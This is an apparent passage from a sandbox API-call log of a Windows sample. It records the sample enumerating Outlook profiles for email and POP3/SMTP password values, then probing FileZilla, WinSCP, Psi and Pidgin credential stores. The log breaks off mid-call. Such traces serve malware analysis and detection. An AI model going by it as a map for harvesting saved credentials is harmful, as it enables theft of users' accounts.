[0061.174] RegOpenKeyW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\609a848a708f544697003a34105400ef", phkResult=0x18e634 | out: phkResult=0x18e634*=0x3f4) returned 0x0 [0061.174] RegEnumKeyW (in: hKey=0x3f4, dwIndex=0x0, lpName=0x18de00, cchName=0x800 | out: lpName="{D9734F19-8CFB-411D-BC59-833E334FCB5E}") returned 0x103 [0061.174] RegCloseKey (hKey=0x3f4) returned 0x0 [0061.174] RegOpenKeyW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\63cba20b08018a458b6edb5d87fb54da", phkResult=0x18e634 | out: phkResult=0x18e634*=0x3f4) returned 0x0 [0061.175] RegEnumKeyW (in: hKey=0x3f4, dwIndex=0x0, lpName=0x18de00, cchName=0x800 | out: lpName="{D9734F19-8CFB-411D-BC59-833E334FCB5E}") returned 0x103 [0061.175] RegCloseKey (hKey=0x3f4) returned 0x0 [0061.175] RegOpenKeyW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\828cd3a417cead4ab3a214070dce1c3d", phkResult=0x18e634 | out: phkResult=0x18e634*=0x3f4) returned 0x0 [0061.175] RegEnumKeyW (in: hKey=0x3f4, dwIndex=0x0, lpName=0x18de00, cchName=0x800 | out: lpName="{D9734F19-8CFB-411D-BC59-833E334FCB5E}") returned 0x103 [0061.175] RegCloseKey (hKey=0x3f4) returned 0x0 [0061.175] RegOpenKeyW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\8503020000000000c000000000000046", phkResult=0x18e634 | out: phkResult=0x18e634*=0x3f4) returned 0x0 [0061.175] RegEnumKeyW (in: hKey=0x3f4, dwIndex=0x0, lpName=0x18de00, cchName=0x800 | out: lpName="{D9734F19-8CFB-411D-BC59-833E334FCB5E}") returned 0x103 [0061.175] RegCloseKey (hKey=0x3f4) returned 0x0 [0061.175] RegOpenKeyW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\88d17fec23cbdd4fb54ad1d34c0dce09", phkResult=0x18e634 | out: phkResult=0x18e634*=0x3f4) returned 0x0 [0061.175] RegEnumKeyW (in: hKey=0x3f4, dwIndex=0x0, lpName=0x18de00, cchName=0x800 | out: lpName="{D9734F19-8CFB-411D-BC59-833E334FCB5E}") returned 0x103 [0061.175] RegCloseKey (hKey=0x3f4) returned 0x0 [0061.175] RegOpenKeyW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9207f3e0a3b11019908b08002b2a56c2", phkResult=0x18e634 | out: phkResult=0x18e634*=0x3f4) returned 0x0 [0061.175] RegEnumKeyW (in: hKey=0x3f4, dwIndex=0x0, lpName=0x18de00, cchName=0x800 | out: lpName="{D9734F19-8CFB-411D-BC59-833E334FCB5E}") returned 0x103 [0061.175] RegCloseKey (hKey=0x3f4) returned 0x0 [0061.176] RegOpenKeyW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676", phkResult=0x18e634 | out: phkResult=0x18e634*=0x3f4) returned 0x0 [0061.176] RegEnumKeyW (in: hKey=0x3f4, dwIndex=0x0, lpName=0x18de00, cchName=0x800 | out: lpName="00000001") returned 0x0 [0061.176] RegOpenKeyW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", phkResult=0x18e630 | out: phkResult=0x18e630*=0x3f8) returned 0x0 [0061.176] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20019, phkResult=0x18d530 | out: phkResult=0x18d530*=0x3fc) returned 0x0 [0061.176] RegQueryValueExW (in: hKey=0x3fc, lpValueName="Email", lpReserved=0x0, lpType=0x18d538, lpData=0x18d330, lpcbData=0x18d534*=0xfe | out: lpType=0x18d538*=0x0, lpData=0x18d330*=0x0, lpcbData=0x18d534*=0xfe) returned 0x2 [0061.176] RegCloseKey (hKey=0x80000001) returned 0x0 [0061.176] RegCloseKey (hKey=0x3f8) returned 0x0 [0061.176] RegEnumKeyW (in: hKey=0x3f4, dwIndex=0x1, lpName=0x18de00, cchName=0x800 | out: lpName="00000002") returned 0x0 [0061.176] RegOpenKeyW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", phkResult=0x18e630 | out: phkResult=0x18e630*=0x110) returned 0x0 [0061.176] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20019, phkResult=0x18d530 | out: phkResult=0x18d530*=0x404) returned 0x0 [0061.177] RegQueryValueExW (in: hKey=0x404, lpValueName="Email", lpReserved=0x0, lpType=0x18d538, lpData=0x18d330, lpcbData=0x18d534*=0xfe | out: lpType=0x18d538*=0x0, lpData=0x18d330*=0x0, lpcbData=0x18d534*=0xfe) returned 0x2 [0061.177] RegCloseKey (hKey=0x80000001) returned 0x0 [0061.177] RegCloseKey (hKey=0x110) returned 0x0 [0061.177] RegEnumKeyW (in: hKey=0x3f4, dwIndex=0x2, lpName=0x18de00, cchName=0x800 | out: lpName="00000003") returned 0x0 [0061.177] RegOpenKeyW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", phkResult=0x18e630 | out: phkResult=0x18e630*=0x3f8) returned 0x0 [0061.177] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x20019, phkResult=0x18d530 | out: phkResult=0x18d530*=0x408) returned 0x0 [0061.177] RegQueryValueExW (in: hKey=0x408, lpValueName="Email", lpReserved=0x0, lpType=0x18d538, lpData=0x18d330, lpcbData=0x18d534*=0xfe | out: lpType=0x18d538*=0x3, lpData=0x18d330*, lpcbData=0x18d534*=0x26) returned 0x0 [0061.177] RegCloseKey (hKey=0x80000001) returned 0x0 [0061.177] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x20019, phkResult=0x18d530 | out: phkResult=0x18d530*=0x40c) returned 0x0 [0061.177] RegQueryValueExW (in: hKey=0x40c, lpValueName="POP3 Server", lpReserved=0x0, lpType=0x18d538, lpData=0x18d330, lpcbData=0x18d534*=0xfe | out: lpType=0x18d538*=0x3, lpData=0x18d330*, lpcbData=0x18d534*=0xa) returned 0x0 [0061.177] RegCloseKey (hKey=0x80000001) returned 0x0 [0061.178] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x20019, phkResult=0x18d530 | out: phkResult=0x18d530*=0x410) returned 0x0 [0061.178] RegQueryValueExW (in: hKey=0x410, lpValueName="Email", lpReserved=0x0, lpType=0x18d538, lpData=0x18d330, lpcbData=0x18d534*=0xfe | out: lpType=0x18d538*=0x3, lpData=0x18d330*, lpcbData=0x18d534*=0x26) returned 0x0 [0061.178] RegCloseKey (hKey=0x80000001) returned 0x0 [0061.178] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x20019, phkResult=0x18d530 | out: phkResult=0x18d530*=0x414) returned 0x0 [0061.178] RegQueryValueExW (in: hKey=0x414, lpValueName="POP3 User", lpReserved=0x0, lpType=0x18d538, lpData=0x18d330, lpcbData=0x18d534*=0xfe | out: lpType=0x18d538*=0x3, lpData=0x18d330*, lpcbData=0x18d534*=0xe) returned 0x0 [0061.178] RegCloseKey (hKey=0x80000001) returned 0x0 [0061.178] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x20019, phkResult=0x18d530 | out: phkResult=0x18d530*=0x418) returned 0x0 [0061.178] RegQueryValueExW (in: hKey=0x418, lpValueName="POP3 Server", lpReserved=0x0, lpType=0x18d538, lpData=0x18d330, lpcbData=0x18d534*=0xfe | out: lpType=0x18d538*=0x3, lpData=0x18d330*, lpcbData=0x18d534*=0xa) returned 0x0 [0061.178] RegCloseKey (hKey=0x80000001) returned 0x0 [0061.178] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x20019, phkResult=0x18d538 | out: phkResult=0x18d538*=0x41c) returned 0x0 [0061.179] RegQueryValueExW (in: hKey=0x41c, lpValueName="POP3 Port", lpReserved=0x0, lpType=0x18d540, lpData=0x18d534, lpcbData=0x18d53c*=0x4 | out: lpType=0x18d540*=0x0, lpData=0x18d534*=0x0, lpcbData=0x18d53c*=0x4) returned 0x2 [0061.179] RegCloseKey (hKey=0x80000001) returned 0x0 [0061.179] RegQueryValueExW (in: hKey=0x3f8, lpValueName="POP3 Password", lpReserved=0x0, lpType=0x18e628, lpData=0x18d600, lpcbData=0x18e624*=0x400 | out: lpType=0x18e628*=0x0, lpData=0x18d600*=0x0, lpcbData=0x18e624*=0x400) returned 0x2 [0061.179] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="voeimd@djhreuu.uhd", cchWideChar=18, lpMultiByteStr=0x18c540, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="voeimd@djhreuu.uhdW", lpUsedDefaultChar=0x0) returned 18 [0061.179] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="voeimd", cchWideChar=6, lpMultiByteStr=0x18c538, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="voeimd\x18", lpUsedDefaultChar=0x0) returned 6 [0061.179] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x18d42d, cbMultiByte=1, lpWideCharStr=0x18c404, cchWideChar=2047 | out: lpWideCharStr="0\x18쓬\x18") returned 1 [0061.179] SysReAllocStringLen (in: pbstr=0x18d56c*=0x0, psz="0", len=0x1 | out: pbstr=0x18d56c*="0") returned 1 [0061.179] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x20019, phkResult=0x18d530 | out: phkResult=0x18d530*=0x420) returned 0x0 [0061.179] RegQueryValueExW (in: hKey=0x420, lpValueName="IMAP Server", lpReserved=0x0, lpType=0x18d538, lpData=0x18d330, lpcbData=0x18d534*=0xfe | out: lpType=0x18d538*=0x0, lpData=0x18d330*=0x0, lpcbData=0x18d534*=0xfe) returned 0x2 [0061.179] RegCloseKey (hKey=0x80000001) returned 0x0 [0061.179] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x20019, phkResult=0x18d530 | out: phkResult=0x18d530*=0x424) returned 0x0 [0061.180] RegQueryValueExW (in: hKey=0x424, lpValueName="SMTP Server", lpReserved=0x0, lpType=0x18d538, lpData=0x18d330, lpcbData=0x18d534*=0xfe | out: lpType=0x18d538*=0x3, lpData=0x18d330*, lpcbData=0x18d534*=0xc) returned 0x0 [0061.180] RegCloseKey (hKey=0x80000001) returned 0x0 [0061.180] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x20019, phkResult=0x18d530 | out: phkResult=0x18d530*=0x428) returned 0x0 [0061.180] RegQueryValueExW (in: hKey=0x428, lpValueName="Email", lpReserved=0x0, lpType=0x18d538, lpData=0x18d330, lpcbData=0x18d534*=0xfe | out: lpType=0x18d538*=0x3, lpData=0x18d330*, lpcbData=0x18d534*=0x26) returned 0x0 [0061.180] RegCloseKey (hKey=0x80000001) returned 0x0 [0061.180] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x20019, phkResult=0x18d530 | out: phkResult=0x18d530*=0x42c) returned 0x0 [0061.180] RegQueryValueExW (in: hKey=0x42c, lpValueName="SMTP User", lpReserved=0x0, lpType=0x18d538, lpData=0x18d330, lpcbData=0x18d534*=0xfe | out: lpType=0x18d538*=0x0, lpData=0x18d330*=0x0, lpcbData=0x18d534*=0xfe) returned 0x2 [0061.180] RegCloseKey (hKey=0x80000001) returned 0x0 [0061.180] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x20019, phkResult=0x18d530 | out: phkResult=0x18d530*=0x430) returned 0x0 [0061.180] RegQueryValueExW (in: hKey=0x430, lpValueName="SMTP Server", lpReserved=0x0, lpType=0x18d538, lpData=0x18d330, lpcbData=0x18d534*=0xfe | out: lpType=0x18d538*=0x3, lpData=0x18d330*, lpcbData=0x18d534*=0xc) returned 0x0 [0061.180] RegCloseKey (hKey=0x80000001) returned 0x0 [0061.181] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x20019, phkResult=0x18d538 | out: phkResult=0x18d538*=0x434) returned 0x0 [0061.181] RegQueryValueExW (in: hKey=0x434, lpValueName="SMTP Port", lpReserved=0x0, lpType=0x18d540, lpData=0x18d534, lpcbData=0x18d53c*=0x4 | out: lpType=0x18d540*=0x0, lpData=0x18d534*=0x0, lpcbData=0x18d53c*=0x4) returned 0x2 [0061.181] RegCloseKey (hKey=0x80000001) returned 0x0 [0061.181] RegQueryValueExW (in: hKey=0x3f8, lpValueName="SMTP Password", lpReserved=0x0, lpType=0x18e628, lpData=0x18d600, lpcbData=0x18e624*=0x400 | out: lpType=0x18e628*=0x0, lpData=0x18d600*=0x0, lpcbData=0x18e624*=0x400) returned 0x2 [0061.181] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="voeimd@djhreuu.uhd", cchWideChar=18, lpMultiByteStr=0x18c540, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="voeimd@djhreuu.uhdW", lpUsedDefaultChar=0x0) returned 18 [0061.181] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x18d42d, cbMultiByte=1, lpWideCharStr=0x18c404, cchWideChar=2047 | out: lpWideCharStr="0\x18\x15\x93\x01") returned 1 [0061.181] SysReAllocStringLen (in: pbstr=0x18d56c*="0", psz="0", len=0x1 | out: pbstr=0x18d56c*="0") returned 1 [0061.181] RegCloseKey (hKey=0x3f8) returned 0x0 [0061.181] RegEnumKeyW (in: hKey=0x3f4, dwIndex=0x3, lpName=0x18de00, cchName=0x800 | out: lpName="00000004") returned 0x0 [0061.181] RegOpenKeyW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000004", phkResult=0x18e630 | out: phkResult=0x18e630*=0x110) returned 0x0 [0061.181] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000004", ulOptions=0x0, samDesired=0x20019, phkResult=0x18d530 | out: phkResult=0x18d530*=0x438) returned 0x0 [0061.181] RegQueryValueExW (in: hKey=0x438, lpValueName="Email", lpReserved=0x0, lpType=0x18d538, lpData=0x18d330, lpcbData=0x18d534*=0xfe | out: lpType=0x18d538*=0x0, lpData=0x18d330*=0x0, lpcbData=0x18d534*=0xfe) returned 0x2 [0061.181] RegCloseKey (hKey=0x80000001) returned 0x0 [0061.182] RegCloseKey (hKey=0x110) returned 0x0 [0061.182] RegEnumKeyW (in: hKey=0x3f4, dwIndex=0x4, lpName=0x18de00, cchName=0x800 | out: lpName="00000004") returned 0x103 [0061.182] RegCloseKey (hKey=0x3f4) returned 0x0 [0061.182] RegOpenKeyW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\a533ec91a4f74549ac2130b6908c8aac", phkResult=0x18e634 | out: phkResult=0x18e634*=0x110) returned 0x0 [0061.182] RegEnumKeyW (in: hKey=0x110, dwIndex=0x0, lpName=0x18de00, cchName=0x800 | out: lpName="00000004") returned 0x103 [0061.182] RegCloseKey (hKey=0x110) returned 0x0 [0061.182] RegOpenKeyW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\b70c659765f94740b657fee657d05ab4", phkResult=0x18e634 | out: phkResult=0x18e634*=0x110) returned 0x0 [0061.182] RegEnumKeyW (in: hKey=0x110, dwIndex=0x0, lpName=0x18de00, cchName=0x800 | out: lpName="00000004") returned 0x103 [0061.182] RegCloseKey (hKey=0x110) returned 0x0 [0061.182] RegOpenKeyW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\cce6b8ce16bac4458e5e40e3530d6f1d", phkResult=0x18e634 | out: phkResult=0x18e634*=0x110) returned 0x0 [0061.182] RegEnumKeyW (in: hKey=0x110, dwIndex=0x0, lpName=0x18de00, cchName=0x800 | out: lpName="00000004") returned 0x103 [0061.182] RegCloseKey (hKey=0x110) returned 0x0 [0061.182] RegOpenKeyW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\dd7f40a823cda64b92e9a96e9e46e406", phkResult=0x18e634 | out: phkResult=0x18e634*=0x110) returned 0x0 [0061.182] RegEnumKeyW (in: hKey=0x110, dwIndex=0x0, lpName=0x18de00, cchName=0x800 | out: lpName="00000004") returned 0x103 [0061.183] RegCloseKey (hKey=0x110) returned 0x0 [0061.183] RegOpenKeyW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\ddb0922fc50b8d42be5a821ede840761", phkResult=0x18e634 | out: phkResult=0x18e634*=0x110) returned 0x0 [0061.183] RegEnumKeyW (in: hKey=0x110, dwIndex=0x0, lpName=0x18de00, cchName=0x800 | out: lpName="00000004") returned 0x103 [0061.183] RegCloseKey (hKey=0x110) returned 0x0 [0061.183] RegOpenKeyW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\f86ed2903a4a11cfb57e524153480001", phkResult=0x18e634 | out: phkResult=0x18e634*=0x110) returned 0x0 [0061.183] RegEnumKeyW (in: hKey=0x110, dwIndex=0x0, lpName=0x18de00, cchName=0x800 | out: lpName="00000004") returned 0x103 [0061.183] RegCloseKey (hKey=0x110) returned 0x0 [0061.183] RegOpenKeyW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\{D9734F19-8CFB-411D-BC59-833E334FCB5E}", phkResult=0x18e634 | out: phkResult=0x18e634*=0x110) returned 0x0 [0061.183] RegEnumKeyW (in: hKey=0x110, dwIndex=0x0, lpName=0x18de00, cchName=0x800 | out: lpName="Calendar Summary") returned 0x0 [0061.183] RegOpenKeyW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\{D9734F19-8CFB-411D-BC59-833E334FCB5E}\\Calendar Summary", phkResult=0x18e630 | out: phkResult=0x18e630*=0x3f8) returned 0x0 [0061.183] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\{D9734F19-8CFB-411D-BC59-833E334FCB5E}\\Calendar Summary", ulOptions=0x0, samDesired=0x20019, phkResult=0x18d530 | out: phkResult=0x18d530*=0x43c) returned 0x0 [0061.183] RegQueryValueExW (in: hKey=0x43c, lpValueName="Email", lpReserved=0x0, lpType=0x18d538, lpData=0x18d330, lpcbData=0x18d534*=0xfe | out: lpType=0x18d538*=0x0, lpData=0x18d330*=0x0, lpcbData=0x18d534*=0xfe) returned 0x2 [0061.183] RegCloseKey (hKey=0x80000001) returned 0x0 [0061.184] RegCloseKey (hKey=0x3f8) returned 0x0 [0061.184] RegEnumKeyW (in: hKey=0x110, dwIndex=0x1, lpName=0x18de00, cchName=0x800 | out: lpName="Calendar Summary") returned 0x103 [0061.184] RegCloseKey (hKey=0x110) returned 0x0 [0061.184] RegOpenKeyW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook", phkResult=0x18e634 | out: phkResult=0x18e634*=0x0) returned 0x2 [0061.184] RegCloseKey (hKey=0x0) returned 0x6 [0061.184] RegOpenKeyW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook", phkResult=0x18e634 | out: phkResult=0x18e634*=0x0) returned 0x2 [0061.184] RegCloseKey (hKey=0x0) returned 0x6 [0061.184] ExpandEnvironmentStringsW (in: lpSrc="%APPDATA%\\filezilla\\recentservers.xml", lpDst=0x6f06ec, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\filezilla\\recentservers.xml") returned 0x4a [0061.184] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\filezilla\\recentservers.xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\filezilla\\recentservers.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0xffffffff, hTemplateFile=0x0) returned 0xffffffff [0061.184] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\filezilla\\recentservers.xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\filezilla\\recentservers.xml")) returned 0xffffffff [0061.185] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\filezilla\\recentservers.xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\filezilla\\recentservers.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0xffffffff, hTemplateFile=0x0) returned 0xffffffff [0061.185] SysReAllocStringLen (in: pbstr=0x18e664*=0x0, psz="Software\\Martin Prikryl\\WinSCP 2\\Sessions\\", len=0x2a | out: pbstr=0x18e664*="Software\\Martin Prikryl\\WinSCP 2\\Sessions\\") returned 1 [0061.185] RegOpenKeyW (in: hKey=0x80000001, lpSubKey="Software\\Martin Prikryl\\WinSCP 2\\Sessions\\", phkResult=0x18e660 | out: phkResult=0x18e660*=0x0) returned 0x2 [0061.185] RegCloseKey (hKey=0x0) returned 0x6 [0061.185] ExpandEnvironmentStringsW (in: lpSrc="%Appdata%\\Psi+\\profiles\\", lpDst=0x6f06ec, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Psi+\\profiles\\") returned 0x3d [0061.185] SysReAllocStringLen (in: pbstr=0x42a1404*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Psi+\\profiles\\", len=0x3c | out: pbstr=0x42a1404*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Psi+\\profiles\\") returned 1 [0061.185] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x37833a8, cbMultiByte=23, lpWideCharStr=0x18d398, cchWideChar=2047 | out: lpWideCharStr="%Appdata%\\Psi\\profiles\\\\") returned 23 [0061.185] ExpandEnvironmentStringsW (in: lpSrc="%Appdata%\\Psi\\profiles\\", lpDst=0x6f06ec, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Psi\\profiles\\") returned 0x3c [0061.185] SysReAllocStringLen (in: pbstr=0x42a1408*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Psi\\profiles\\", len=0x3b | out: pbstr=0x42a1408*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Psi\\profiles\\") returned 1 [0061.185] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Psi+\\profiles\\\\*.*", lpFindFileData=0x18e400 | out: lpFindFileData=0x18e400*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0061.185] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e400 | out: lpFindFileData=0x18e400*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0061.185] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Psi\\profiles\\\\*.*", lpFindFileData=0x18e400 | out: lpFindFileData=0x18e400*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0061.185] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e400 | out: lpFindFileData=0x18e400*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0061.185] ExpandEnvironmentStringsW (in: lpSrc="%APPDATA%\\.purple\\accounts.xml", lpDst=0x6f06ec, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\.purple\\accounts.xml") returned 